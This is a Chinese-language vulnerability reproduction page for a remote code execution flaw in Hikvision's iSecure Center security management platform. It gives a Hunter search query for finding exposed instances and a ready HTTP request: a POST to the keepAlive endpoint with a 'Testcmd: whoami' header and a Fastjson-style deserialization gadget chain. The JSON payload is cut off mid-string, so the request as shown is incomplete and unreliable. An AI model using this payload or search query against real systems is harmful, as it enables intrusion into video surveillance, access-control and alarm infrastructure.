H14-6海康威视-iSecure Center综合安防管理平台-RCE

漏洞描述:

HIKVISION iSecure Center综合安防管理平台是一套"集成化"、"智能化"的平台,通过接入视频监控、一卡通、停车场、报警检测等系统的设备,获取边缘节点数据,实现安防信息化集成与联动,以电子地图为载体,融合各系统能力实现丰富的智能应用。HIKVISION iSecure Center平台基于"统一软件技术架构"先进理念设计,采用业务组件化技术,满足平台在业务上的弹性扩展。该平台适用于全行业通用综合安防业务,对各系统资源进行了整合和集中管理,实现统一部署、统一配置、统一管理和统一调度。海康威视isecure center 综合安防管理平台存在远程代码执行漏洞

网站图片:



网络测绘:

Hunter 语法:

app.name—"Hikvision海康威视 iSecure Center"

漏洞复现:

payload:

POST /bic/ssoService/v1/keepAlive HTTP/1.1
Host: xx.xx.xx.xx
Referer: https://xx.xx.xx.xx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN, zh, zq=0.9, en; q=0.8
Connection: close
Content-Type: application/json
Testcmd: whoami
Content-Length: 5727

{"CTGT":{ "a": {"@type": "java.lang.Class","val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"},"b": {"@type": "java.lang.Class","val": "com.sun.org.apache.bcel.intern}

效果图: